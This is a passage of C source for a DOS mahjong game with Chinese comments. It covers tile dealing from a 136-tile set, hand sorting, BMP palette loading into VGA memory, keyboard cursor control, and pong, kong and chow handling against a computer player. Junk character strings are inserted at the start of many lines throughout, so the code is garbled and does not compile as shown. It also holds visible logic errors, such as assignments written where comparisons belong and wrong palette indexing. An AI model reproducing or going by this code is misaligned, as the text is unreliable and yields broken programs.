) J/ ?" r, z% j2 ?/ C1 g; Rif(istwo(test))
' X2 j" s+ }4 l& ?" n% s7 }{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
if(kl==14)
break;
, O- {/ O) t& V7 ^( Y) j4 {* ^  y, \}
test[ill++]=pi[kl];
* P2 a$ k. Z, t; n}
* S2 ]1 q* [; w  |. ]; Bisthree(test,ii-2);
}
}
if(ff==2)
' V& B0 U2 D" i/ Vistwo(pf);
else if(ff==3)
' C2 _7 E  l9 y  c, L+ N- w; f+ \isthree(pf,ff);
; v. C- ]' t# C. z2 Xelse if(ff==5)
/*pf[5]原始牌数组，假设已经升序排列*/
& C% K2 o+ @( E: g, [3 u/*test[3]用来放置测试牌的数组*/
for(i=0;i&lt;4;i++)
{
for(j=0;j&lt;2;j++)
' b9 H( }1 i7 c& s. _. D' @{test[j]=pf[i+j];
5 w9 |- Q, I# X9 s. P+ `& K! s}
* b, g: Z$ z4 r& Wif(istwo(test))
{ ill=0;
  }( a4 {9 v6 L: U8 Cfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
: M. y. |, _+ O/ c) r5 f: j{if(kl==i)
{
+ n4 R" q9 {1 o4 a1 H' [+ I; `kl=kl+2;
. W% _* T* u9 F& G2 qif(kl==5)
! J+ P) E1 I3 ^4 c+ O9 u6 Ybreak;
, V- \3 E% {  @6 \2 w3 a( T4 }}
9 N& z5 |0 Q% a  gtest[ill++]=pf[kl];
1 y$ {! N) o, H" f8 Y3 q4 }4 p}
isthree(test);
* r; x7 t# ]- h+ n* W1 }}
3 K' Q! P( M; O$ y: k}
else if(ff==6)
isthree(pf,ff);
  ~! y& y" [5 w/ n7 xelse if(ff==8)
for(i=0;i&lt;7;i++)
- [5 Q5 g6 P( e' ^# m5 ?- q1 D& h{
for(j=0;j&lt;2;j++)
+ F* b. p" g* M{test[j]=pf[i+j];
0 n8 C" ]0 n6 u+ k0 q}
; ~+ g$ p: D4 {7 }if(istwo(test))
* U& c/ Z: g2 N1 G' ?8 _- i8 Q8 Y{ ill=0;
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
* a6 W' Y: R: D+ {) Z1 p{if(kl==i)
{
kl=kl+2;
if(kl==8)
break;
}
test[ill++]=pf[kl];
5 [+ y2 H- \4 [+ c7 S  [7 `}
0 p; F7 Z- j! N" f4 Qisthree(test,ff-2);
4 j, r% r( y: u+ }}
5 C0 ~, j8 X) I, }7 i8 n}
+ N, q; ?: u8 r3 U# H$ kelse if(ff==9)
7 Z8 J: b' H: R  z2 zisthree(pw,ww);
: H* X# x0 g* w, h. Eelse if(ff==11)
8 K/ {: z9 l! I& N9 {4 v/ T+ H* a" Xfor(i=0;i&lt;10;i++)
{
1 K" {& z  n( G/ @/ qfor(j=0;j&lt;2;j++)
# P4 c5 m. s( y- n; U1 q{test[j]=pf[i+j];
}
# T# f  C6 m  o9 Y4 fif(istwo(test))
{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
: K! F2 e, D0 ^8 C# A{if(kl==i)
{
% K! F; C# ?- Y# Y; {5 |kl=kl+2;
if(kl==11)
break;
}
test[ill++]=pf[kl];
}
isthree(test,ff-2);
. ~4 m' O6 s" |0 F7 f}
# z; d; N8 V$ x  e5 ]' F. H. D}
0 I* W+ ?& R, A3 r9 D$ ~# I) aelse if(ff=12)
isthree(pf,ff);
$ K) H+ j. W, L/ nelse if(ff=14)
for(i=0;i&lt;13;i++)
& s& f6 W" Q! M& K{
  f; E+ h: P% |6 @for(j=0;j&lt;2;j++)
{test[j]=pf[i+j];
0 _' m+ `9 [0 J% x- Z4 ]}
4 A7 q  i' U! U9 {. t  o' T2 uif(istwo(test))
{ ill=0;
3 Y" e8 t- k0 ^* R" e4 Q3 y4 p4 ^) tfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
' ]* n7 c9 }! x( i{if(kl==i)
{
$ l. v, a$ u1 Y: i2 ~) k3 \kl=kl+2;
if(kl==14)
break;
  ]- l8 |1 f4 a8 q- U. m$ s}
test[ill++]=pf[kl];
}
- l7 @1 u7 a6 A: Y1 C  G+ {# `isthree(test,ff-2);
" h! C% q* F. d}
1 P8 p# N4 w9 S( h4 r! K}
$ t+ Q0 I2 @0 a. b) z}
void main(void)
{
FILE *bmp;
static char *name[2]={"ff.bmp","logo.bmp"};
6 t  N8 t( ~8 M2 A9 Z- U: cchar *p;
int *lingshi;
int x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
$ ]1 f5 L" g2 h1 e3 Vint every=0,w=0,x1,x2,y1,y2,every1=0;
" h! b  `: y" y% W  c' s; ^int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
+ N$ P* y* D- j; ]BYTE palette[256][3];
SETVGA;
% T$ `8 V9 |( j% K0 Ugetch();
while(t--)
{
bmp=fopen(name[t],"rb");
fseek(bmp,54,SEEK_SET);
/ W, J1 a/ r2 E' J# f( a6 zfor(i=0;i&lt;256;i++)
{
8 {2 X) ~, F/ ?9 n9 d% {palette[2]=fgetc(bmp)&gt;&gt;2;
- B. j$ V; o- mpalette[1]=fgetc(bmp)&gt;&gt;2;
& R: }. ~5 |4 h8 Hpalette[0]=fgetc(bmp)&gt;&gt;2;
fgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
}
9 `& ]4 f# S; h( w0 k; U1 |: Kfor (y=0;y&lt;200;y++)
% p# ?" G  M  j5 E$ V( |. Nfor(x=0;x&lt;320;x++)
7 f  n$ U/ z) P4 spokeb(0xa000,y*320+x,fgetc(bmp));
fclose(bmp);
getch();
}
  d! E% v. n* ~getch();
* t/ @( T$ X2 t- EfillRectangle(0,0,320,200,0);
getch();
1 Z" S7 e1 Z" x$ X' T1 Z6 W* zrandomize();
me.m=onetothirteen;
1 }) x4 m* g, P2 ~while(me.m&gt;0) /*先循环，给自己拿牌*/
! G/ I( P% U2 A9 {4 W{
/ ?7 {3 i1 F. j
temp=random(136);
! v: @- }$ W6 l3 {& wif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
{
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
* s/ n2 Z, k7 w( g% ]8 O: [4 vme.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
; W+ {7 B7 l0 jme.pp[n].number=temp; /*第几张，用来排序*/
m[temp].data2=1; /*判断牌是谁的*/
; |" R2 Y2 y9 s+ fkk=1;
}
if(kk==0) /*判断如果又选择了，就从新再选*/
! e6 n8 Q8 T* p% g{
  k. U6 ?; A$ z+ Sme.m++;
n--;
  y+ h6 W8 _3 O4 j3 {7 r9 e* n7 ]}
& X0 ^7 i& w8 G0 T5 C( @3 L% ime.m--;
n++;
+ k0 w8 C3 r7 Jkk=0;
5 k  c: g5 q3 m, q; P1 @4 g- S}
me.m=12;
% S5 g1 ]# L& Y7 Smelipai(); /*理牌*/

n=13;
9 R: r8 S7 ^  N1 [6 Ywhile(l&lt;n)
. X+ B( E( x. w& b: T{
2 s) x4 j# J6 w3 K& vz=z+20;
showbmp(l);
l++;
; ]3 k$ [1 [, R* p
}
9 U& w8 {/ K" K0 _" k' }randomize();
computer.m=oneorthirteen;
n=0;
! f$ [* Q( A% j; w) L3 ?/ b6 U% ?3 i" mwhile(computer.m&gt;0) /*循环，给对方拿牌*/
% o& w, s5 e8 u8 e7 j{
temp=random(136);
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
, E! X" c) }" W; j{
computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
' v2 h6 \6 i+ I/ `  k4 U# _) H( ocomputer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
% U- u) l; H. z: Z, n% _0 R" q- q# [computer.pp[n].number=temp; /*第几张，用来排序*/
m[temp].data2=2; /*判断牌是谁的，2为电脑*/
kk=1;
}
2 `1 D1 R! y/ z! F% r. Vif(kk==0) /*判断如果又选择了，就从新再选*/
5 @$ n- `2 ?6 E5 c{
4 R8 W" n! ]: F3 Qcomputer.m++;
. z! k. ~2 T: h8 ]! an--;
}
( Y# }3 k+ ~- ecomputer.m--;
6 h& ^6 f! G( N# T  ^* @n++;
! u& e0 G, g. R7 R+ x' D* ^kk=0;
}
& D3 U8 H0 C  B: c0 ^* ]6 [computer.m=12;
comlipai(); /*电脑理牌*/
n=13;
2 S- a/ q* X% ^- j% Owhile(ll&lt;n)
{
zy=zy+20;
" N6 m# o! s6 ?/ zshowybmp(ll);
% K- x! Z; w: o  |: T' zll++;
7 F- l& `7 x* p) H5 A% i}

z=54400;
while(key!=ESC)
2 l% [* E. |( g) U1 }0 V. E4 f$ X{

' Q( d. p% L* ?1 S4 nkeyy=bioskey(0);
if(keyy==LEFT)
/ b5 y6 x, X7 I0 W/ P{ w=1;
if(every==0)
7 w! G6 p# n8 r{
* I; F  g$ @% Revery=1;
z=54440-5*320;
7 R. C& s# l4 q
% Q3 z7 i8 s  S  ~# G) V4 ^5 a}
0 D9 ]: K0 @: e3 m0 H. C& {1 pzz=zz+5*320;
! v2 ^% E- Z) h" x0 e5 {showbmp(every);
if(every==0)
{
* S3 S1 @0 p8 C' a3 T# h6 v0 Hx1=20;
3 j% l3 A! [0 P" I2 g8 zy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
: Y& h' A6 z( F! x- M2 T}
5 t! N1 u* E6 P4 O8 `+ K) Nif(every==1)
! y( h- k. ]& Z( q; m  g+ h  R; g{
7 p4 R1 d1 s- D% s! w/ F# \( L9 Kx1=40;
y1=165;
9 ~6 D  t; B4 D7 HfillRectangle(x1,y1,x1+20,y1+4,0);
% w0 }8 u+ F$ Q}
; Z' [+ s7 |# Q* W+ ~if(every==2)
3 j) d" |% e5 j: h; O{
) k' H( K: S* |! d. @x1=60;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
! U; Y- R, o0 r) k" n: |7 S+ Rif(every==3)
{
& r) M* G+ ]" d' C2 Ox1=80;
" D5 Z: T# f# |5 M' y3 hy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
$ Y1 |2 |# d7 k1 [7 l) }+ }}
if(every==4)
3 D  s* z) z3 q4 u2 A* x- A{
x1=100;
. u9 V3 h4 d( k# A; Sy1=165;
4 s/ ^) U1 W7 w7 I' ^4 NfillRectangle(x1,y1,x1+20,y1+4,0);
+ a. j% K, Q0 `) l}
if(every==5)
6 d- T+ @  z: l. P" D{
x1=120;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
* g* G3 Q; V4 W  [2 U& C* |if(every==6)
{
x1=140;
5 l% i5 z$ ~# h9 y( `/ B# \y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
  B( N% Y5 D2 |8 d}
if(every==7)
1 l0 r# Z/ H. s2 M0 w5 T' F{
x1=160;
8 S3 q7 Q8 e: d* N4 ~y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
) m1 ~8 B5 N# F% x% Yif(every==8)
; X' p" G3 W4 p8 @9 a8 t* _2 s{
x1=180;
, h; F3 v+ ?; ~0 ^% K8 s( fy1=165;
5 A' @& @! Y# ?. P  E( gfillRectangle(x1,y1,x1+20,y1+4,0);
, E1 E6 A8 i: y( H' z}
) G5 V3 }' J1 K9 s% sif(every==9)
8 d+ u' W9 ?+ l, I{
x1=200;
1 A' Y9 D2 g$ hy1=165;
9 B/ R0 Q6 Q' c1 c$ z3 U7 e/ FfillRectangle(x1,y1,x1+20,y1+4,0);
2 E$ h0 c. c: a9 R}
4 S) T1 M) L0 R- v5 o4 Z7 n3 cif(every==10)
. J1 k0 ^1 O6 P! ]. O) o/ w# A{
# m# g4 ^% O2 E8 _0 N! `x1=220;
! [5 I; M% `: i* l5 {y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==11)
1 V' H- ^) a- C( I( j; ]5 F4 s3 V) z& m{
7 m; j) x; o/ W; m+ o- {1 xx1=240;
0 [) w% V4 C" _y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==12)
{
4 r) Q& F, o- T% g- H7 rx1=260;
. b: X3 H: v+ X& ky1=165;
! i1 w) S9 f0 m2 OfillRectangle(x1,y1,x1+20,y1+4,0);
}
; L& r: U6 v( O8 c  Dzz=0;
every--;
z=z-20;
}
1 t% C, W/ X7 ]" A. xif(keyy==RIGHT)
{ if(w==0)
0 ?. |" d0 K' V0 \4 @{
) B6 N  B& D( Y: I8 p: ]z=54440-5*320;
z=z-20;
/ J& j% f/ [/ F% mw=1;
. W0 r" M/ h# F3 m2 |3 m}
if(every==12)
{
& E, D$ B& ~- P/ |every=11;
z=54640-5*320;
}
zz=zz+5*320;
; r4 e+ a* j1 }$ bshowbmp(every);
* L& A& ~! o8 }* v8 Gif(every==0)
: ?- P2 E1 e3 B6 p: D' {{
/ U" x2 [' A/ `  j- S5 @( Lx1=20;
y1=165;
: `1 L$ ]% k  G# Y8 U: P+ C5 _% wfillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==1)
{
% b# {2 M" d" j: [x1=40;
& U9 A$ S  T" A- D9 K. h/ Ay1=165;
" r5 n% \9 }+ O8 I  H0 C/ bfillRectangle(x1,y1,x1+20,y1+4,0);
2 o; r4 P8 e. K: y0 J& [}
& ^1 r1 r/ O4 y  N' nif(every==2)
{
) z1 @- p- _: a/ Y8 d) tx1=60;
7 s0 y  ?) S& z1 {, U, dy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==3)
8 e2 `# K9 \0 R5 P4 |1 }& A{
x1=80;
) n9 v' R+ O" N" W5 ?) Xy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
2 Q; W* M& b% g$ I" gif(every==4)
" \" `# q. S+ R0 s! t; q. l{
1 }8 S& s' ]; Y! v" fx1=100;
* e9 Q0 K; s4 p3 B) `1 }% Yy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==5)
{
x1=120;
  l/ Y6 i- L' k% w  w0 I$ C0 s* Ay1=165;
: i( D( s! Q, z% Q% A( ~# ffillRectangle(x1,y1,x1+20,y1+4,0);
}
6 X! d, O3 S. r. ]if(every==6)
{
! q4 f- [) Y1 W  Q! j; @x1=140;
/ s3 f' }! B1 e( |y1=165;
5 ]3 _: F( \3 @) S. w1 s, YfillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==7)
{
x1=160;
4 t9 l( F1 \* F, e- y. P; Gy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
/ r, l4 i: P8 S" S}
" u) Q$ K& l' G% kif(every==8)
! c1 D/ s! u$ i( S9 X{
* A+ C8 U( Z- wx1=180;
y1=165;
/ K% Y8 ^! t2 ~0 p& X$ T- z- afillRectangle(x1,y1,x1+20,y1+4,0);
+ W0 m' P$ c7 R( k6 {}
( e# W4 {' j6 h5 Y6 s1 aif(every==9)
{
x1=200;
4 `7 o! c$ W" ^# F4 I+ Zy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
3 A9 i" q# l* x" Q, c( Z% uif(every==10)
9 Z! I0 W) T0 g0 \{
  u/ A  B  z! P) a/ H; f5 ^" zx1=220;
y1=165;
7 f4 U' t4 S: {' j( X) F# p3 k  qfillRectangle(x1,y1,x1+20,y1+4,0);
8 |* c6 K- _5 W; J1 R}
% v3 L5 K0 X: Tif(every==11)
0 g. y# a, m% K3 ]5 ~7 `  J{
: D: P' J# a# R: n! tx1=240;
& J, ?& f0 Q. `  k  ey1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==12)
{
( M$ l9 z6 x2 q; t0 g  G/ b6 Zx1=260;
0 L% y5 k8 p3 z1 x/ A9 ~0 ay1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
- p& r- }4 g. p* n" \( A4 \- Z}

zz=0;
every++;
- ?# P" D; R$ \+ D$ Fz=z+20;
5 e; t9 u" e  Q0 F+ e}
showbmp(every);
key=keyy;
- Z! ~( t; b3 |6 B2 V% J- d* Rif(keyy==ENTER)
{
/ Z, Y/ n  m! s9 U% }rgzn(every); /*********************/
if(sing==1) /*如果可以乓，做相应的处理*/
  ]6 Z7 f* h. V' n( y2 X2 J8 L{
kkk=0;
% v) G: E7 \# A( R  Z3 n: A9 nkkkk=0;
while(kkk&lt;=computer.m)
  o1 k% Z5 U% G0 R{
if(computer.pp[kkk].p!=1)
{
comp.pp[kkkk].k=computer.pp[kkk].k;
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
  N4 S) P5 S) `* s9 w( W7 M( Pcomp.pp[kkkk].number=computer.pp[kkk].number;
  y# x) Y9 j7 d7 F+ ?kkkk++;
}
else
( o* l7 n2 s0 P% J# ~$ j{
: J' ^2 z  y/ Pm[computer.pp[kkk].number].data1=1;
dwei=computer.pp[kkk].number;
* V+ P1 S" M" Scomputer.pp[kkk].p=0;
}
kkk++;
}
6 I" D3 t+ x3 W3 ~ll=0;

% r7 \; O; ^# v8 }/ S* a) awhile(ll&lt;3)
& O, C7 B: p+ f% w2 h& H{ zl=zl+20;
bmpp(dwei); /*显示乓的牌*/
3 O9 q) Q6 B+ ^  oll++;
}
" g( e. k( [' G, R) @
* C3 c/ ~& T8 ?: t3 \$ ?' k* E( yzl=zl+9600-60;
" |: N" X/ W+ ~& S  Bkkk=0;
% m: m# m  r% r% B. }1 zcomputer.m=computer.m-2;
while(kkk&lt;=computer.m)
{
computer.pp[kkk].k=comp.pp[kkk].k;
. z' [  K* @3 q! tcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
' @9 D; d8 h) @- Q2 Ncomputer.pp[kkk].number=comp.pp[kkk].number;
kkk++;
  u4 x; x6 Y# c. l}
ll=0;
- U, z( F! K$ Y* E6 ]/ n- ]temp=random(computer.m); /*出牌等待完善*/
zyy=zyy+9280+20;
# q; m4 F1 i2 V' pshowcbmp(temp);
! r7 ~: d) T8 O: x- s' hzyy=zyy-9280;
/*****/
rgznme(temp);
3 Z6 S# S% O  H1 V" M2 Z2 `  Y8 Jpanduan();
if(me.m==0)
9 s( O: a1 L4 e; @. `  mif(second==1 &amp;&amp; threes==0)
printf("you win!");
if(me.m==3)
if(second==1 &amp;&amp; threes==1)
5 O& e6 s+ y* D7 W0 Eprintf("you win!");
if(me.m==6)
if(second==1 &amp;&amp; threes==2)
printf("you win!");
if(me.m==9)
if(second==1 &amp;&amp; threes==3)
1 {6 Q" S# M; I5 o4 o% qprintf("you win!");
; m) W" q( N6 m5 jif(me.m==12)
9 {" z. {! k2 \, [if(second==1 &amp;&amp; threes==4)
printf("you win!");
4 {8 Q  d! X% z- y$ c
kkk=0;
kkkk=0;
while(kkk&lt;=computer.m)
{
if(kkk!=temp)
{
( J) ^4 L7 e: [5 @* X3 N; fcomp.pp[kkkk].k=computer.pp[kkk].k;
- u" E1 G& G9 G6 ccomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
8 }( o! p6 \' W- ecomp.pp[kkkk].number=computer.pp[kkk].number;
kkkk++;
  m- I  }6 P8 |" ?9 ~- @. G) R# G, I4 k9 U}
- I7 V2 F; P, E6 I+ q' aelse
  R. j  g# P3 H$ D# [m[computer.pp[kkk].number].data1=1;
kkk++;
}
9 Z. ^2 X$ z! U0 R+ E- v5 Kkkk=0;
computer.m=computer.m-1;
while(kkk&lt;=computer.m)
{
' U% z0 i  Q$ c6 R, Rcomputer.pp[kkk].k=comp.pp[kkk].k;
4 Z6 l6 R) H/ R: L9 Jcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
computer.pp[kkk].number=comp.pp[kkk].number;
kkk++;
2 u) i7 \. G7 z; J: g( o  k. ]; d}
5 h, ~4 E2 o! X. Y  ]fillRectangle(0,0,320,30,0);
9 T0 Z7 p, b! I- ~/ t# r; Jn=computer.m;
ll=0;
zy=0;
while(ll&lt;=n)
$ |& [* g0 m0 Z' Q2 R! g  j{
: {+ D5 u8 Q: H- Ezy=zy+20;
showybmp(ll);
ll++;
}
( j$ @  y; {6 O$ y; E2 ^2 e5 L( Ill=0;
3 w" e; N: {+ I5 `% B4 dgetch();
3 ~! P) c$ l7 ~1 |) osing=0;
0 a! i/ P* q$ R9 H% o  N6 [! |: lsing1=1;
}
2 ~& Z; t4 u9 E7 S
( L3 V& i5 v5 {  zif(sing==2) /*如果可以杠的做相应处理*/
{
kkk=0;
; V/ P: s. \- u- D6 m+ m% zkkkk=0;
- ~  I7 |. P! ~8 V' dwhile(kkk&lt;=computer.m)
{
if(computer.pp[kkk].g!=1)
{
  P6 I. H! B+ q/ E$ @comp.pp[kkkk].k=computer.pp[kkk].k;
# M: d8 {  N* x" d! w; Tcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
/ ?! g4 E1 S: b2 P, Fcomp.pp[kkkk].number=computer.pp[kkk].number;
/ e7 B  p1 o3 V& P0 t- ~kkkk++;
}
else
{
- u7 P4 l9 X  N* S: X% Sm[computer.pp[kkk].number].data1=1;
( ~/ K  ~" ^( R& F: I( ddweig=computer.pp[kkk].number;
computer.pp[kkk].g=0;
}
( |, Q8 g2 [* b0 s, Rkkk++;
}
2 q* A0 G7 T, [. ~ll=0;
8 n8 Z. c9 B1 |. M" `  k( }0 }  c
while(ll&lt;=3)
( v9 [' }( i2 W6 p  H: L% ~  I( o{ zl=zl+20;
bmpp(dweig); /*显示杠的牌*/
ll++;
# p- H( q! d$ B4 x: g7 L+ A3 p}
6 C+ C" _1 K+ Z. K' ~1 h; T: {1 C" fzl=zl+9600-60;
6 \- R" i0 I2 a) bkkk=0;
$ W, V* B# s0 Wcomputer.m=computer.m-3;
while(kkk&lt;=computer.m)
8 P+ V8 J$ G& j3 q+ p8 {{
computer.pp[kkk].k=comp.pp[kkk].k;
# B& N1 W4 H( ~  ^computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
- o0 S, [2 u$ r0 c* Zcomputer.pp[kkk].number=comp.pp[kkk].number;
5 n% C6 N0 Q8 h6 y/ m* p. d% okkk++;
& w) i5 p: z' K7 |3 j}
: _% i% p5 o3 R3 {7 X# _kk=0;
computer.m++; /*加一个牌的容量*/
9 M* l3 @) |$ I$ Y2 Dwhile(kk!=1)
{
2 Z5 X% i  f8 b- ltemp=random(136); /*出牌*/
6 w4 t7 L: s6 R% Eif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
{
$ o& h+ T; H% c! gcomputer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
computer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
computer.pp[computer.m].number=temp; /*第几张，用来排序*/
m[temp].data2=2; /*判断牌是谁的，2为电脑*/
kk=1;
}
# H7 d9 `, e& t}
, o" D" G: `+ p2 n" Z  L' Xcomlipai();
9 Q$ Y6 G5 v6 h+ ^  T' V# L/ S' A& Btemp=random(computer.m); /*出牌，等待完善*/
zyy=zyy+9280+20;
! r  {) c7 j& J! }1 g, P' ashowcbmp(temp);
zyy=zyy-9280;
+ i. J% i9 E+ T5 E5 r! W/*****/
7 t! D1 _& L/ Z, {rgznme(temp);
9 ]/ b% i5 M% R/ ?2 K( K4 lpanduan();
' m1 n* V- x- B* wif(me.m==0)
8 Z- u9 P2 m% a% |if(second==1 &amp;&amp; threes==0)
1 ^+ n! V" b, V- d, oprintf("you win!");
if(me.m==3)
if(second==1 &amp;&amp; threes==1)
; O) S: e0 Y2 {1 V: pprintf("you win!");
! b5 |3 Y& j; Y2 I& _& c0 t9 Rif(me.m==6)
3 B0 K8 ^1 {# x/ |  B5 }8 C4 jif(second==1 &amp;&amp; threes==2)
, R% n/ x) m1 v; U- aprintf("you win!");
0 d3 ?8 `$ y: w1 u- k  R: f9 jif(me.m==9)
if(second==1 &amp;&amp; threes==3)
, z# K& o# }5 B" aprintf("you win!");
if(me.m==12)
# |  k( o( {- ^) M0 ?/ eif(second==1 &amp;&amp; threes==4)
printf("you win!");
+ R* `& [; @9 V/ {$ V
  N" Q1 U/ o2 Okkk=0;
( _  x! w8 y6 j! E( bkkkk=0;
- R1 G$ k/ [( l; T' o% X3 [- m. Rwhile(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
6 V% n! ^6 W2 T: I{
if(kkk!=temp)
) D8 p4 n: Q4 h1 R4 d- H" V{
comp.pp[kkkk].k=computer.pp[kkk].k;
$ k5 D5 m. K0 ^& Ecomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
3 g8 W5 Y; D4 E  S) Fcomp.pp[kkkk].number=computer.pp[kkk].number;
kkkk++;
& K9 d: O3 A3 R+ v}
else
m[computer.pp[kkk].number].data1=1;
. [" a6 M, H! P0 X% P: q+ R5 R0 }kkk++;
' n1 P0 H2 e" T2 X}
1 `/ r2 I. c  O, h0 K1 o  z" L3 i) [kkk=0;
* J; z/ D6 ?+ S7 ~4 ~& e$ g' |, ~computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/
/ a( w- @2 o9 r" V8 V$ Zwhile(kkk&lt;=computer.m)
{
computer.pp[kkk].k=comp.pp[kkk].k;
8 `: a; ?, |' i; ^/ y2 D" r0 q1 i! O- Q# mcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
computer.pp[kkk].number=comp.pp[kkk].number;
' `: b9 t7 |, y& O% X6 rkkk++;
1 T$ E4 b! Z1 P  i$ n1 x}
4 E4 @( X, G8 [) C9 F0 D) R+ C  k) IfillRectangle(0,0,320,30,0);
ll=0;
zy=0;
. }! F! d6 S8 \  s& G2 Iwhile(ll&lt;=computer.m)
{
zy=zy+20;
showybmp(ll);
2 Q3 T+ b3 I2 Nll++;
9 W# |/ ]- F+ ^% L: h% J" C}
" ]' |4 H1 G' f+ L& vsing=0;
sing1=1;
}
if(sing==7) /*如果可以吃的，做相应处理*/
) z5 G/ z# }  o% k{ nn=0;
" A/ f( t3 k- e3 S0 j8 F% Zkkk=0;
, l) Z. L; D9 h; r  x* Lkkkk=0;
. N+ p) ]) K. f# y# Q0 G2 gwhile(kkk&lt;=computer.m)
7 r" r& A5 q1 f: k{
( _5 K' V0 ^+ Oif(computer.pp[kkk].c!=1)
{
( G, f' }& M' u9 Z; ^" _comp.pp[kkkk].k=computer.pp[kkk].k;
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
+ R% C, \  X! I0 I0 `1 jcomp.pp[kkkk].number=computer.pp[kkk].number;
kkkk++;
}
' b6 }; s  }7 A( b$ R8 d- delse
; z) E" B& K8 o0 Z* g( c  }{
5 Y3 V+ ^  B% R+ n% O' Fm[computer.pp[kkk].number].data1=1;
dw[nn++]=computer.pp[kkk].number;
computer.pp[kkk].c=0;
5 h- m/ }  K2 L2 W1 L& ]; B+ d}
5 n( r8 F. \; U+ Fkkk++;
, a5 y7 `* q1 G$ k" t" Z/ D7 ^}

if(me.pp[every].number&lt;dw[0])
{
dw[2]=dw[1];
dw[1]=dw[0];
dw[0]=me.pp[every].number;
}
if(me.pp[every].number&gt;dw[1])
$ W0 H$ E$ }. {2 \/ F" W- j" t{
dw[2]=me.pp[every].number;
$ j- q5 F' F1 y+ Z# o: }}
if(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])
8 J; p) ~+ }' }$ J# M. M{
1 @: `0 o1 _" T: B( rdw[2]=dw[1];
- T! s& f( X# b! Xdw[1]=me.pp[every].number;
}
nn=0;
while(nn&lt;3)
{ zl=zl+20;
bmpp(dw[nn]); /*显示吃的牌*/
7 b: M" a' k' s( q9 g- onn++;
}
% `! W3 E' z4 Wzl=zl+9600-60;
) e: b- j' W# H1 h: Q) Ukkk=0;
! Z% ]& D  I2 v: bcomputer.m=computer.m-2;
  H6 @. G8 o* V: d  Y8 }) @* Z! wwhile(kkk&lt;=computer.m)
{
computer.pp[kkk].k=comp.pp[kkk].k;
& s/ w4 @7 E( L( x! Q, @computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
computer.pp[kkk].number=comp.pp[kkk].number;
/ h# j1 z* h' i4 i2 h3 S! A1 ekkk++;
}
' ~+ @* G  E( g- Bll=0;
temp=random(computer.m); /*出牌等待完善*/
zyy=zyy+9280+20;
showcbmp(temp);
/ M4 f% j$ L, Mzyy=zyy-9280;
/*****/
rgznme(temp);
' s8 p5 D' T# q; [# d0 H6 p; Ypanduan();
if(me.m==0)
if(second==1 &amp;&amp; threes==0)
printf("you win!");
- l( V2 D, Z5 G8 R' _+ Zif(me.m==3)
if(second==1 &amp;&amp; threes==1)
printf("you win!");
if(me.m==6)
# m) W7 c( d7 B% {+ Aif(second==1 &amp;&amp; threes==2)
5 b1 o, c6 [% @# Zprintf("you win!");
if(me.m==9)
if(second==1 &amp;&amp; threes==3)
4 \) G2 ~) J+ h1 ~1 m, ?6 Uprintf("you win!");
/ K0 e  G4 k+ z; F0 I! c- }if(me.m==12)
9 u( o0 e+ r- @  R, sif(second==1 &amp;&amp; threes==4)
/ N/ H8 g+ T$ `8 e: T" q& R# hprintf("you win!");
4 e9 O2 a" e4 ?5 z( a+ @% p
& w& \2 U+ H8 O2 G9 Akkk=0;
: X4 R4 f# D# B! Fkkkk=0;
while(kkk&lt;=computer.m)
{
if(kkk!=temp)
0 t, \% }0 N+ R+ K9 z4 E{
comp.pp[kkkk].k=computer.pp[kkk].k;
& p# N0 v; c. \) h5 Jcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
' n2 g# K* q1 m. p: v3 L/ Zcomp.pp[kkkk].number=computer.pp[kkk].number;
